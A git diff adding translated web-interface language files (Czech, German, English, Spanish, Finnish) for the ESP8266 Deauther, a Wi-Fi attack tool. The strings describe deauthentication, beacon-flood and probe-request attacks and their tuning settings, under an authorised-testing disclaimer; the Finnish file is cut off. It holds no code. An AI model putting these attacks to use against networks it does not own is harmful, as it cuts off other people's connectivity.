diff --git a/enp8266/esp8266_deauther-master/web_interface/lang/cs.lang b/enp8266/esp8266_deauther-master/web_interface/lang/cs.lang new file mode 100755 index 0000000..25223df --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/lang/cs.lang @@ -0,0 +1,75 @@ +{ + "lang": "cs", + "warning": "VAROVÃNÃ", + "disclaimer": "Tento projekt slouží pouze pro testovací a edukaÄní využití.\nESP8266, nebo jeho SDK není urÄeno pro toto použití, proto se mohou vyskytnout chyby!\n\nPoužijte tento projekt jen proti vlastním zařízením a sítím!\n\nPoužíváme validní Wi-Fi rámce popsané v IEEE 802.11 standardu. Neblokujeme, ani nezasahujeme do jiných frekvencí.\nPÅ™ed použitím si zkontrolujte omezení ve vaší zemi.\n\nProsím neodkazujte na tento projekt jako na \"ruÅ¡iÄku\", nebo \"jammer\", podkopává to reálný význam tohoto projektu!\nPokud tak budete nadále odkazovat, jen to ukazuje, že jste nic nepochopili.\nPublikování obsahu o tomto projektu bez řádného vysvÄ›tlení ukazuje, že to dÄ›láte pouze pro kliknutí, slávu, peníze a nemáte žádný respekt k duÅ¡evnímu vlastnictví, komunitÄ› za ním a boji za lepší standard WiFi.\n\nPro více informací navÅ¡tivte:", + "disclaimer-button": "PÅ™eÄetl jsem a pochopil výše uvedené oznámení", + "reload": "Obnovit", + "scan": "Skenovat", + "ssids": "SSID", + "attacks": "Útoky", + "settings": "Nastavení", + "info": "Info", + "info_span": "INFO: ", + "all": "VÅ¡e", + "channel": "Kanál", + "devices": "Uložená zařízení", + "select_all": "OznaÄit vÅ¡e", + "deselect_all": "OdoznaÄit vÅ¡e", + "remove_all": "Odstranit vÅ¡e", + "station_scan_time": "ÄŒas skenování stanice", + "new": "Nový", + "save": "Uložit", + "add": "PÅ™idat", + "add_selected": "Klonovat vybrané stanice", + "overwrite": "PÅ™epsat", + "time_interval": "ÄŒasový interval", + "number": "Číslo", + "targets": "Cíle", + "scan_info": "- KliknÄ›te na Skenovat a vyÄkejte až se modrá LED vypne (nebo se zmÄ›ní na zelenou), poté kliknÄ›te na Obnovit.\n- Webové rozhraní nebude bÄ›hem skenu dostupné. Budete se muset pÅ™ipojit znovu!\n- Vyberte jenom jeden cíl!\n", + "ssids_info": "- Pro útok bude využit tento seznam SSID.\n- Každé SSID může mít do 32 znaků.\n- Po editaci nezapomeňte kliknout na Uložit.\n- Po klonování SSID budete muset kliknout na Obnovit.\n", + "attack_info": "- PÅ™i zahájení útoku možná ztratíte pÅ™ipojení!\n- Musíte vybrat cíl.\n- Pro útok potÅ™ebujete uložené SSID.\n- KliknÄ›te na Obnovit pro obnovení rychlosti paketů.\n", + "settings_info": "- NÄ›která nastavení vyžadují restart.\n- Pro aplikování zmÄ›n kliknÄ›te na Uložit.\n", + "info_disclaimer": "V případÄ› neoÄekávané chyby obnovte stránku a zkontrolujte sériové rozhraní pro další ladÄ›ní.", + "start_stop": "START / STOP", + "start": "START", + "stop": "STOP", + "wifi_off": "WiFi Off", + "reboot": "Restartovat", + "reset": "Resetovat", + "enable_random": "Zapnout režim náhody", + "disable_random": "Vypnout režim náhody", + "random_desc": "Zapnout generování náhodného SSID seznamu.", + "deauth_desc": "UzavÅ™e spojení WIFI zařízení odesláním deauth paketů klientům a AP, které jste si vybrali.\nToto je možné, protože vÄ›tÅ¡ina zařízení neimplementuje 802.11w-2009 standard, který proti tomuto útoku brání.\n- Vyberte jenom jeden cíl! Pokud vyberete více cílů, které jsou na jíných kanálech a spustíte útok, tak ztratíte možnost se pÅ™ipojit do webového rozhraní.\n", + "beacon_desc": "Pro zviditelnÄ›ní jsou použity beacon pakety. Odesíláním tÄ›chto paketů výtváříte dojem nových sítí.\nJména můžete specifikovat v sekci SSID.", + "probe_desc": "Probe požadavky jsou odesílány klienty, pro zjiÅ¡tÄ›ní, jestli není blízko známá síť.\nPoužijte tento útok pro zmatení WIFI skenerů.\nVe vaší domácí sítí pravdÄ›podobnÄ› nezaznamenáte žádné výsledky.", + "setting_version": "Číslo verze, tj. v2.0.\nMůže být zmÄ›nÄ›no pouze ve zdrojovém kódu.", + "setting_ssid" : "SSID přístupového bodu AP (je-li zapnuto).\nDélka musí být mezi 1 a 31 znaky.", + "setting_password": "Heslo přístupového bodu AP (je-li zapnuto).\nDélka musí být mezi 8 a 31 znaky.", + "setting_channel": "Výchozí WIFI kanál, který bude použit pÅ™i startu.", + "setting_hidden": "Skryje přístupový bod pro webové rozhraní (je-li zapnuto).", + "setting_captivePortal": "Aktivuje captive portal pro webové rozhraní (je-li zapnuto).", + "setting_autosave": "Aktivuje automatické ukládání SSID, jmen zařízení and nastavení.", + "setting_autosavetime": "ÄŒasový interval pro automatické ukládání v milisekundách.", + "setting_display": "Aktivuje rozhraní displaye.", + "setting_displayTimeout": "ÄŒas v sekundách za který se display po neÄinnosti automaticky vypne.\nPro vypnutí ÄasovaÄe použijte 0.", + "setting_serial": "Aktivuje sériové rozhraní.\nNení doporuÄeno ho vypínat!", + "setting_serialEcho": "Aktivuje odezvu (echo) pro každý řádek v sériové konzoli.", + "setting_web": "Aktivuje webové rozhraní.", + "settings_webSpiffs": "Zapnout SPIFFS pro vÅ¡echny webové soubory.", + "setting_led": "Aktivuje (RGB) LED.", + "setting_maxch": "Max. kanál.\nUS = 11, EU = 13, Japonsko = 14.", + "setting_macAP": "MAC adresa v AP módu.\nMAC adresa bude nahrazena, pokud je AP mód aktivní.", + "setting_macSt": "MAC adresa v módu stanice.\nMAC adresa bude nahrazena, pokud je mód stanice aktivní.", + "setting_chtime": "ÄŒas pro skenování jednoho kanálu v milisekundách (pokud je zapnuto pÅ™eskakování kanálů).", + "setting_minDeauths": "Minimální poÄet odhlaÅ¡ovacích rámců pro zmÄ›nu LED indikátoru.", + "setting_attacktimeout": "Útok se automaticky zastaví po zadaném Äase (v sekundách).\nPro vypnutí ÄasovaÄe nastavte 0.", + "setting_forcepackets": "PoÄet pokusů pro odeslání paketu.\nNastavte vÄ›tší hodnotu, pokud potÅ™ebujete lepší výsledky v ruÅ¡ných prostÅ™edích.\nToto nastavení může vést ke zpomalení zařízení a nestabilitÄ›.\nMaximální hodnota je 255!", + "setting_deauthspertarget": "Kolik deauth paketů bude odesláno každému cíli.", + "setting_deauthReason": "Kód, který urÄuje důvod odhlášení klientů za sítÄ›.", + "setting_beaconchannel": "Pokud aktivní, beacon pakety budou odesílány na odliÅ¡ných kanálech.", + "setting_beaconInterval": "Pokud aktivní, beacon interval bude 1s. Pokud ne, interval bude 100ms.\nDelší interval znamená vÄ›tší stabilitu, ale skenování může trvat déle.", + "setting_randomTX": "Aktivuje náhodný vysílací výkon pro každý packet.", + "setting_probesPerSSID": "Kolik probe paketů bude odesláno k SSID.", + "setting_lang": "Výchozí jazyk pro webové rozhraní.\nUjistÄ›te se, že definiÄní soubor jazyka existuje!" +} + diff --git a/enp8266/esp8266_deauther-master/web_interface/lang/de.lang b/enp8266/esp8266_deauther-master/web_interface/lang/de.lang new file mode 100755 index 0000000..2086c86 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/lang/de.lang @@ -0,0 +1,74 @@ +{ + "lang": "de", + "warning": "WARNUNG", + "disclaimer": "Dieses Proof-of-Concept-Projekt ist zum Lernen und Testen.\nWeder der ESP8266, noch das SDK sind für solche Zwecke gemacht. Fehler können auftreten!\n\nBenutze es nur gegen eigene Netzwerke und Geräte!\n\nEs werden valide Wi-Fi-Frames nach IEEE 802.11 verwendet und keine Frequenzen gestört oder blockiert.\n\nBitte bezeichne dieses Projekt nicht als \"Jammer\" oder \"Störsender\", dass untergräbt den Sinn dieses Projektes!\nWenn du es doch tust, zeigt es nur, dass du nichts von dem, wofür das Projekt steht, verstanden hast.\nDie Veröffentlichung von Inhalten hierzu ohne entsprechende Erläuterung zeigt, dass du es nur für Aufmerksamkeit, Klicks und/oder Geld machst und keinen Respekt für geistiges Eigentum, die Gemeinschaft dahinter und den Kampf für einen besseren Wi-Fi-Standard hast.\n\nFür mehr Informationen, besuche:", + "disclaimer-button": "Ich habe den Hinweis gelesen und verstanden", + "reload": "Neu laden", + "scan": "Scan", + "ssids": "SSIDs", + "attacks": "Attacken", + "settings": "Einstellungen", + "info": "Info", + "info_span": "INFO: ", + "all": "Alle", + "channel": "Kanal", + "devices": "Gespeicherte Geräte", + "select_all": "Alle auswählen", + "deselect_all": "Auswahl aufheben", + "remove_all": "Alle entfernen", + "station_scan_time": "Station-Scan-Zeit", + "new": "Neu", + "save": "Speichern", + "add": "Hinzufügen", + "add_selected": "Klone ausgewählte APs", + "overwrite": "Ãœberschreiben", + "time_interval": "Zeitintervall", + "number": "Anzahl", + "targets": "Ziele", + "scan_info": "- Drücke auf \"Scan\" und warte bis sich die blaue LED auf deinem Board ausschaltet (oder grün wird), dann drücke \"Neu laden\".\n- Das Webinterface schaltet sich während eines Station-Scans aus und Du musst dich neu verbinden!\n- Bitte wähle nur ein Ziel aus!\n", + "ssids_info": "- Die SSID-Liste wird für die Beacon- und Probe-Attacken verwendet.\n- Jede SSID kann bis zu 32 Zeichen haben.\n- Vergiss nicht auf Speichern zu klicken nachdem du eine Änderung vorgenommen hast.\n- Du musst auf \"Neu laden\" klicken nachdem du SSIDs geklont hast.\n", + "attack_info": "- Die Verbindung kann beim Starten einer Attacke unterbrochen gehen!\n- Für Deauth-Attacken wird ein ausgewähltes Ziel benötigt.\n- Für Beacon- und Probe-Attacken werden gespeicherte SSIDs benötigt.\n- Klicke \"Neu laden\" um die Paketrate zu aktualisieren.\n", + "settings_info": "- Einige Einstellungen benötigen einen Neustart.\n- Klicke \"Speichern\", um sicherzustellen, dass deine Änderungen übernommen werden.\n", + "info_disclaimer": "Im Falle eines unerwarteten Fehlers lade die Seite erneut und schaue auf den Serial-Monitor für weiteres Debugging.", + "start_stop": "START / STOPP", + "start": "START", + "stop": "STOPP", + "wifi_off": "WiFi aus", + "reboot": "Neu starten", + "reset": "Reset", + "enable_random": "Random Mode EIN", + "disable_random": "Random Mode AUS", + "random_desc": "Schalte den Random-Mode ein, um eine zufällige SSID-Liste im gegebenen Interval automatisch zu generieren.", + "deauth_desc": "Schließt die Verbindung von WiFi-Geräten durch das Senden von Deauthentication-Frames zu den ausgewählten Geräten.\nDas ist nur möglich, da viele Geräte nicht den 802.11w-2009-Standard nutzen. Dieser bietet einen Schutz gegen solche Attacken.\nBitte wähle nur ein Ziel aus! Bei mehreren Zielen auf verschiedenen Kanälen muss das Gerät ständig den Kanal wechseln und du wirst dich nicht mehr das Webinterface nutzen können.", + "beacon_desc": "Beacon-Pakete werden benutzt, um auf Netzwerke aufmerksam zu machen. Durch das ständige Senden von solchen Paketen macht es den Anschein, Du hättest neue WiFi-Netzwerke erstellt.\nDu kannst die Netzwerknamen in der SSID-Liste einstellen.", + "probe_desc": "Probe-Requests werden von Client-Geräten gesendet, um nach bekannten Netzwerken in Reichweite zu fragen.\nBenutze diese Attacke um WiFi-Trackers zu verwirren, indem Du ständig nach Netzwerken aus der SSID-Liste fragst.\nEs ist unwahrscheinlich, dass diese Attacke merkbare Auswirkungen auf Dein Heimnetzwerk hat.", + "setting_version": "Versionsnummer, z.B. v2.0.\nDiese Einstellung kann nur im Quellcode verändert werden.", + "setting_ssid" : "SSID des Access-Points, benutzt für das Webinterface (wenn aktiviert).\nDie Länge muss zwischen 1 und 31 Zeichen sein.", + "setting_password": "Passwort des Access-Points für Webinterface (wenn aktiviert).\nDie Länge muss zwischen 8 und 31 Zeichen sein.", + "setting_channel": "Standard WiFi-Kanal der beim Starten genutzt wird.", + "setting_hidden": "Versteckt Access-Point für Webinterface (wenn aktiviert).", + "setting_captivePortal": "Aktiviert Captive-Portal für Webinterface (wenn aktiviert).", + "setting_autosave": "Aktiviert automatisches Speichern der SSIDs, Geräte und Einstellungen.", + "setting_autosavetime": "Zeitintervall für automatisches Speichern in Millisekunden.", + "setting_display": "Aktiviert Display-Interface.", + "setting_displayTimeout": "Zeit in Sekunden nachdem der Display automatisch ausschaltet, wenn inaktiv.\nZum Deaktivieren des Timeouts, setze es auf 0.", + "setting_serial": "Aktiviere Serial-Interface.\nEs wird empfohlen es immer aktiviert zu lassen!", + "setting_serialEcho": "Erlaubt Echo für jede Nachricht über die serielle Verbindung.", + "setting_web": "Aktiviert Webinterface.", + "setting_webSpiffs": "Aktiviert SPIFFS für alle Web-Datein.", + "setting_led": "Aktiviert (RGB-)LED.", + "setting_maxch": "Max. Kanal zum Scannen.\nUS = 11, EU = 13, Japan = 14.", + "setting_macAP": "MAC-Adresse für Access-Point-Modus.\nBeachte, dass die Adresse nur angewendet wird wenn der Access-Point-Modus aktiviert ist.", + "setting_macSt": "MAC-Adresse für Station-Modus.\nBeachte, dass die Adresse nur angewendet wird, wenn der Station-Modus aktiviert ist.", + "setting_chtime": "Scan-Zeit in Millisekunden für einen Kanal, bevor zum nächsten gewechselt wird (nur wenn Channel-Hopping aktiviert ist).", + "setting_minDeauths": "Minimale Anzahl an Deauthentication-Frames beim Scannen, um den LED-Modus zu ändern.", + "setting_attacktimeout": "Nach wie viel Sekunden die Attacke automatisch gestoppt wird.\nSetze es auf 0 um diese Funktion zu deaktivieren.", + "setting_forcepackets": "Wie oft versucht werden soll ein Paket zu versenden.\nÄndere diesen Wert um weine bessere Paketrate zu erreichen.\nSei Vorsichtig, diese Einstellung kann das Gerät langsamer machen.\nDer maximal Wert ist 255!", + "setting_deauthspertarget": "Wie viele Deauthentication- und Disassociaten-Frames für jedes Ziel versendet werden sollen.", + "setting_deauthReason": "Der Reason-Code beim versenden der Deauth-Pakete um dem Ziel zu sagen, warum die Verbindung getrennt wird.", + "setting_beaconchannel": "Wenn aktiviert, sendet Beacon-Pakete auf verschiedenen Kanälen.", + "setting_beaconInterval": "Wenn aktiviert, versendet je SSID ein Beacon-Pakete jede Sekunde. Sonst alle 100ms.\nEin größeres Intervall bedeutet mehr Stabilität und weniger Paket-Spamming, aber es könnte länger dauern bis Client-Geräte die Netzwerke finden.", + "setting_randomTX": "Enables randomized transmission power for sending out beacon and probe request frames.", + "setting_probesPerSSID": "Wie viele Probe Requests pro SSID versendet werden sollen.", + "setting_lang": "Standardsprache für Webinterface.\nSei sicher, dass eine passende Sprachdatei existiert!" +} diff --git a/enp8266/esp8266_deauther-master/web_interface/lang/en.lang b/enp8266/esp8266_deauther-master/web_interface/lang/en.lang new file mode 100755 index 0000000..a4c8c83 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/lang/en.lang @@ -0,0 +1,74 @@ +{ + "lang": "en", + "warning": "WARNING", + "disclaimer": "This project is a proof of concept for testing and educational purposes.\nNeither the ESP8266, nor its SDK was meant or build for such purposes. Bugs can occur!\n\nUse it only against your own networks and devices!\n\nIt uses valid Wi-Fi frames described in the IEEE 802.11 standard and does not block or disrupt any frequencies.\nPlease check the legal regulations in your country before using it.\n\nPlease don't refer to this project as \"jammer\", that totally undermines the real purpose of this project!\nIf you do, it only proves that you didn't understand anything of what this project stands for.\nPublishing content about this without without a proper explanation shows that you only do it for the clicks, fame and/or money and have no respect for intellectual property, the community behind it and the fight for a better WiFi standard.\n\nFor more information visit:", + "disclaimer-button": "I have read and understood the notice above", + "reload": "Reload", + "scan": "Scan", + "ssids": "SSIDs", + "attacks": "Attacks", + "settings": "Settings", + "info": "Info", + "info_span": "INFO: ", + "all": "All", + "channel": "Channel", + "devices": "Saved Devices", + "select_all": "Select All", + "deselect_all": "Deselect All", + "remove_all": "Remove All", + "station_scan_time": "Station Scan Time", + "new": "New", + "save": "Save", + "add": "Add", + "add_selected": "Clone selected APs", + "overwrite": "Overwrite", + "time_interval": "Time Interval", + "number": "Number", + "targets": "Targets", + "scan_info": "- Click Scan and wait until the blue LED on your board turns off (or changes to green), then click on Reload.\n- The web interface will be unavailable during a station scan and you will have to reconnect!\n- Please select only one target!\n", + "ssids_info": "- This SSID list is used for the beacon and probe attack.\n- Each SSID can be up to 32 characters.\n- Don't forget to click save when you edited a SSID.\n- You have to click Reload after cloning SSIDs.\n", + "attack_info": "- You might lose connection when starting an attack!\n- You need to select a target for the deauth attack.\n- You need a saved SSID for the beacon and probe attack.\n- Click reload to refresh the packet rate.\n", + "settings_info": "- Some settings require a reboot.\n- Click save to make sure that your changes are applied.\n", + "info_disclaimer": "In case of an unexpected error, please reload the site and look at the serial monitor for further debugging.", + "start_stop": "START / STOP", + "start": "START", + "stop": "STOP", + "wifi_off": "WiFi Off", + "reboot": "Reboot", + "reset": "Reset", + "enable_random": "Enable Random Mode", + "disable_random": "Disable Random Mode", + "random_desc": "Enable the random mode to generate a random SSID list in a given interval.", + "deauth_desc": "Closes the connection of WiFi devices by sending deauthentication frames to access points and client devices you selected.\nThis is only possible because a lot of devices don't use the 802.11w-2009 standard that offers a protection against this attack.\n- Please only select one target! When you select multiple targets that run on different channels and start the attack, it will quickly switch between those channels and you have no chance to reconnect to the web interface.\n", + "beacon_desc": "Beacon packets are used to advertise access points. By continuously sending beacon packets out, it will look like you created new WiFi networks.\nYou can specify the network names under SSIDs.", + "probe_desc": "Probe requests are sent by client devices to ask if a known network is nearby.\nUse this attack to confuse WiFi trackers by asking for networks that you specified in the SSID list.\nIt's unlikely you will see any impact by this attack with your home network.", + "setting_version": "Version number, i.e. v2.0.\nThis setting can only be changed in the source code.", + "setting_ssid" : "SSID of access point used for the web interface (if enabled).\nThe length must be between 1 and 31 characters.", + "setting_password": "Password of access point used for the web interface (if enabled).\nThe length must be between 8 and 31 characters.", + "setting_channel": "Default WiFi channel that is used when starting.", + "setting_hidden": "Hides the access point that is used for the web interface (if enabled).", + "setting_captivePortal": "Enables captive portal for access point (if enabled).", + "setting_autosave": "Enables automatic saving of SSIDs, device names and settings.", + "setting_autosavetime": "Time interval for automatic saving in milliseconds.", + "setting_display": "Enables display interface.", + "setting_displayTimeout": "Time in seconds after which the display turns off when inactive.\nTo disable the display timeout, set it to 0.", + "setting_serial": "Enables serial interface.\nIt's recommended not to disable it!", + "setting_serialEcho": "Enables echo for each incoming message over serial.", + "setting_web": "Enables web interface.", + "setting_webSpiffs": "Enables SPIFFS for all web files.", + "setting_led": "Enables the (RGB) LED feature.", + "setting_maxch": "Max. channel to scan on.\nUS = 11, EU = 13, Japan = 14.", + "setting_macAP": "MAC address used for the access point mode.\nPlease note that the MAC address will only replace the internal MAC address when the accesspoint mode is enabled.", + "setting_macSt": "MAC address used for the station mode.\nPlease note that the MAC address will only replace the internal MAC address when the station mode is enabled.", + "setting_chtime": "Time for scanning one channel before going to the next in milliseconds (only if channel hopping is enabled).", + "setting_minDeauths": "Minimum number of deauthentication frames when scanning to change the LED to deauth mode.", + "setting_attacktimeout": "After what amount of time (in seconds) the attack will stop automatically.\nSet it to 0 to disable it.", + "setting_forcepackets": "How many attempts to send out a packet.\nSet this value higher if you want to achieve a better packet rate in a busy area.\nBe careful this setting could make the device slower or more unstable.\nMax value is 255!", + "setting_deauthspertarget": "How many deauthentication and disassociation frames are sent out for each target.", + "setting_deauthReason": "The reason code that is sent with the deauth frames to tell the target device why the connection will be closed.", + "setting_beaconchannel": "If enabled, will send all frames on different channels when running a beacon attack.", + "setting_beaconInterval": "If set true, beacons will be sent out every second. If set to false, the interval will be 100ms.\nA longer interval means more stability and less spamming of packets, but it could take longer until the clients find the ssids when scanning.", + "setting_randomTX": "Enables randomized transmission power for sending out beacon and probe request frames.", + "setting_probesPerSSID": "How many probe request frames are sent for each SSID.", + "setting_lang": "Default language for the web interface.\nBe sure the language file exists!" +} \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/web_interface/lang/es.lang b/enp8266/esp8266_deauther-master/web_interface/lang/es.lang new file mode 100755 index 0000000..077f0a0 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/lang/es.lang @@ -0,0 +1,74 @@ +{ + "lang": "es", + "warning": "ADVERTENCIA", + "disclaimer": "Este proyecto es una prueba de concepto con un motivo didáctico y experimental. \nNi el modulo ESP8266, ni su relativo SDK fueron creados o proyectados para estos propósitos.\n\n¡Úsalo solo contra tus propias redes y dispostivos! \n\nEl software utiliza exclusivamente los marcos WiFi válidos descritos en el estándar IEEE 802.11 de manera que no se bloquea o interrumpe frecuencia alguna. \nPor favor, verifica la regulación vigente de tu país antes de utilizarlo. \n\nPor favor no referirse a este proyecto como \"jammer\" o \"inhibidor\", esto iría completamente en contra de la verdadera finalidad del proyecto\nSi lo haces tan solo demostarás no haber entendido absolutamente nada de lo que este proyecto representa. \nPublicar contenido sin una explicación adecuada demuestra que tan solo se hace por los clics, fama y/o dinero y que no se tiene ningún respeto por la propriedad intelectual, la comunidad detrás de ello y la lucha por un mejor estándar WiFi. \n\nPara más información visita:", + "disclaimer-button": "He leído y entendido el aviso anterior", + "reload": "Actualizar", + "scan": "Escanear", + "ssids": "SSIDs", + "attacks": "Ataques", + "settings": "Configuración", + "info": "Informacón", + "info_span": "INFO: ", + "all": "Todo", + "channel": "Canal", + "devices": "Dispositivos guardados", + "select_all": "Seleccionar todo", + "deselect_all": "Deseleccionar todo", + "remove_all": "Quitar todo", + "station_scan_time": "Tiempo de escaneo de la estación", + "new": "Nuevo", + "save": "Guardar", + "add": "Agregar", + "add_selected": "Clonar los APs seleccionados", + "overwrite": "Sobrescribir", + "time_interval": "Intervalo de tiempo", + "number": "Número", + "targets": "Objetivos", + "scan_info": "- Haz clic en Escanear y espera hasta que el led azul en la placa se apague (o cambie a verde), luego haz clic en Actualizar.\n- ¡La interfaz web no estará disponible durante el escaneo de una estación y tendrás que reconectarte!\n- ¡Selecciona solo un objetivo!\n", + "ssids_info": "- Esta lista SSID se utiliza para los ataques de tipo 'Beacon' y 'Probe'.\n- Cada SSID puede contener hasta 32 caráteres.\n- No olvides hacer clic en Guardar cuando se modifique un SSID.\n- Tienes que hacer clic en Actualizar después de clonar un SSID.\n", + "attack_info": "- ¡Puede que pierdas la conexión al iniciar el ataque!\n- Tienes que seleccionar un objetivo para el ataque de tipo 'Deauth'.\n- Se necesita un SSID guardado para el ataque tipo 'Beacon' o 'Probe'.\n- Haz clic en Actualizar para refrescar la velocidad de los paquetes.\n", + "settings_info": "- Algunas configuraciones necesitan un reinicio.\n- Haz clic en Guardar para asegurar que las modificaciones sean aplicadas.\n", + "info_disclaimer": "En caso de error, actualiza la página y echa un vistazo al monitor serial para una depuración más detallada.", + "start_stop": "INICIAR / DETENER", + "start": "INICIAR", + "stop": "DETENER", + "wifi_off": "Apagar WiFi", + "reboot": "Reiniciar", + "reset": "Restablecer", + "enable_random": "Habilita el modo aleatorio", + "disable_random": "Deshabilita el modo aleatorio", + "random_desc": "Habilitar el modo aleatorio para generar una lista SSID aleatoria en un intervalo dado.", + "deauth_desc": "Cierra la conexión de los dispositivos WiFi enviando los marcos de desautenticación a los APs y a los dispositivos clientes seleccionados.\nEsto es posible solo porque muchos dispositivos no utilizan el estándar 802.11w-2009, que ofrece una protección contra este tipo de ataque.\n- ¡Por favor, seleccione solo un blanco! Cuando se seleccionan más blancos que son llevados a cabo sobre canales diversos e inicia el ataque, pasará rápidamente de estos canales y no tendrá posibilidad alguna de reconectarse a la interfaz web.\n", + "beacon_desc": "Los paquetes 'Beacon' son utilizados para publicitar los APs. Enviando continuamente paquetes 'Beacon', parecería que se han creado nuevas redes WiFi.\nEs posible especificar los nombres de red bajo SSID.", + "probe_desc": "Las peticiones 'Probe' son enviadas por los dispositivos clientes para preguntar si una red determinada se encuentra al alcance.\nUtiliza este ataque para confundir los 'trackers' WiFi preguntando por redes especificadas en la lista SSID.\nEs improbable que no veas algún impacto de este ataque en tu red doméstica.", + "setting_version": "Número de versión, por ejemplo v2.0.\nEste ajuste sólo puede ser modificado en el código fuente.", + "setting_ssid" : "SSID del AP utilizado para la interfaz web (si habilitado).\nEl tamaño debe comprender entre 1 y 31 caracteres.", + "setting_password": "Contraseña del AP utilizada para la interfaz (si habilitado).\nEl tamaño debe comprender entre 8 y 31 caracteres.", + "setting_channel": "Canal WiFi predefinido que es utilizado al inicio.", + "setting_hidden": "Oculta el AP utilizado para la interfaz web (si habilitado).", + "setting_captivePortal": "Habilita el portal cautivo para el AP (si habilitado).", + "setting_autosave": "Habilita el guardado automático de SSID, nombres de dispositivos y configuraciones.", + "setting_autosavetime": "Intervalo de tiempo para el guardado automático en milisegundos.", + "setting_display": "Habilita la interfaz de la pantalla.", + "setting_displayTimeout": "Tiempo en segundos tras los que la pantalla se apaga al estar inactiva.\nPara deshabilitar el timeout de la pantalla, configurarlo en 0.", + "setting_serial": "Habilita la interfaz serial.\n¡Se recomienda no desactivarla!", + "setting_serialEcho": "Habilita la muestra de cada mensaje recibido por serial.", + "setting_web": "Habilita la interfaz web.", + "setting_webSpiffs": "Habilita SPIFFS para todos los archivos web.", + "setting_led": "Habilita la función led (RGB).", + "setting_maxch": "Canal máximo para el escaneo.\nEEUU = 11, EU = 13, Japón = 14.", + "setting_macAP": "Dirección MAC utilizada para el modo AP.\nLa dirección MAC reemplazará la MAC interna tan solo cuando el modo AP este habilitado.", + "setting_macSt": "Dirección MAC utilizada para el modo estación.\nLa dirección MAC reemplazará la MAC interna tan solo cuando el modo estación este habilitado.", + "setting_chtime": "Tiempo de escaneo de un canal antes di pasar al sucesivo en milisegundos (sólo si el pase de canales está habilitado).", + "setting_minDeauths": "Número mínimo de marcos de desautentifiación durante el escaneo para cambiar el modo led en 'Deauth'.", + "setting_attacktimeout": "Después de cuanto tiempo (en segundos) el ataque se detendrá automaticamente.\nConfigurarlo en 0 para deshabilitarlo.", + "setting_forcepackets": "Cuantos tentativos de envío de un paquete.\nConfigurar este valor más alto si se desea obtener una mejor velocidad de paquetes en un área ocupada.\nCuidado, esta configuración puede hacer que el dispositivo vaya más lento o hacerlo más inestable.\n¡El valor máximo es 255!", + "setting_deauthspertarget": "Cuantos marcos de desautentifiación y desasociación son enviados para cada blanco.", + "setting_deauthReason": "El código de motivo que se envía con los marcos tipo \"deauth\" para indicar al dispositivo de destino por qué la conexión será terminada.", + "setting_beaconchannel": "Si se habilita, se enviarán todos los marcos en diferentes canales durante la ejecución de un ataque tipo 'Beacon'.", + "setting_beaconInterval": "Habilitado los Beacons serán enviados cada segundo. Deshabilitado, el intervalo será de 100 ms.\nUn intervalo más largo significa mayor estabilidad y menos 'spammeo' de los paquetes, pero podría nesecitar más tiempo hasta que los clientes encuentren los SSID durante el escaneo.", + "setting_randomTX": "Habilita la potencia de transmisión aleatoria para el envío de peticiones de marcos 'Beacons' y 'Probe'.", + "setting_probesPerSSID": "Cantidad de marcos de peticiones 'Probe' enviados para cada SSID.", + "setting_lang": "Idioma predefinido para la interfaz web.\n¡Verifica que el archivo del idioma exista previamente!" +} \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/web_interface/lang/fi.lang b/enp8266/esp8266_deauther-master/web_interface/lang/fi.lang new file mode 100755 index 0000000..b06dbb9 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/lang/fi.lang @@ -0,0 +1,74 @@ +{ + "lang": "fi", + "warning": "VAROITUS", + "disclaimer": "Tämä laite on tarkoitettu verkon turvallisuustestien tekemiseen, eikä verkon murtautumiseen! ", + "disclaimer-button": "Olen lukenut ja käytän laitetta oikein", + "reload": "Lataa Uudelleen", + "scan": "Skannaa", + "ssids": "SSID:t", + "attacks": "Hyökkäykset", + "settings": "Asetukset", + "info": "Info", + "info_span": "INFO: ", + "all": "Kaikki", + "channel": "Kanavat", + "devices": "Tallennetut Laitteet", + "select_all": "Valitse Kaikki", + "deselect_all": "Poista valinnat", + "remove_all": "Poista Kaikki", + "station_scan_time": "Asemien skannausaika", + "new": "Uusi", + "save": "Tallenna", + "add": "Lisää", + "add_selected": "Kloonaa Valitut Verkot", + "overwrite": "Kirjoita päälle", + "time_interval": "Aikaväli", + "number": "Numero", + "targets": "Kohteet", + "scan_info": "- Napsauta Skannaa ja odota, kunnes sinisen LED-valo sammuu (tai muuttuu vihreäksi) ja napsauta sitten Lataa Sivu Uudelleen. \n- Web-käyttöliittymä ei ole käytettävissä asemien skannauksen aikana ja sinun on yhdistettävä uudelleen laitteeseen! \n- Ole hyvä valitse vain yksi kohde! \n", + "ssids_info": "- Tätä SSID-luetteloa käytetään Beacon- ja Probe hyökkäystä varten. \n- Jokainen SSID voi olla enintään 32 merkkiä. \n- Älä unohda klikata Tallenna, kun olet muokannut SSID-tunnuksia. \n- Sinun on napsautettava Lataa Sivu uudelleen, jos olet kloonannut SSID-tunnuksia. \n", + "attack_info": "- Voit menettää yhteyden aloittaessasi hyökkäyksen! \n- Sinun on valittava kohde deauth-hyökkäykstä varten. \n- Sinun on tallennettava SSID Beacon- ja Probe hyökkäyksiä varten. \n- Päivitä pakettien siirtonopeus napsauttamalla Lataa Sivu uudelleen. \n", + "settings_info": "- Jotkin asetukset edellyttävät uudelleenkäynnistystä..\n- Varmista, että muutokset ovat tallennettu, klikkamalla Tallenna nappia.\n", + "info_disclaimer": "Jos odottamaton virhe ilmenee, lataa sivu uudelleen ja katso laitteen sarjaportin lukijasta tulevaisuuden virheenkorjausta varten.", + "start_stop": "KÄYNNISTÄ / PYSÄYTÄ", + "start": "KÄYNNISTÄ", + "stop": "PYSÄYTÄ", + "wifi_off": "WiFi Pois", + "reboot": "Käynnistä uudelleen", + "reset": "Nollaa", + "enable_random": "Satunnainen tila päälle", + "disable_random": "Satunnainen tila pois päältä", + "random_desc": "Ota satunnaistoiminto käyttöön saadaksesi satunnaisen SSID-luettelon tietyllä kappaleväleillä (esim. 1-15 SSIDja).", + "deauth_desc": "Sulkee WiFi-laitteiden yhteyden lähettämällä autentikointikehykset valittuihin yhteyspisteisiin ja asiakaslaitteisiin.\nTämä on mahdollista vain, koska monet laitteet eivät käytä 802.11w-2009 -standardia, joka suojaa tätä 